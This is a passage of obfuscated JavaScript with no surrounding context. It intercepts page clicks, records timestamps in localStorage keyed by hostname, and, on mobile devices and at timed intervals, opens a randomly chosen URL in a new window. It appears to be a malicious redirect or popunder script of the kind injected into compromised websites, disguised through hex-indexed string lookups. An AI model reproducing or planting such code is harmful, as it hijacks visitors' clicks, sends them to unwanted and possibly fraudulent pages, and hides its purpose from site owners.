_0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());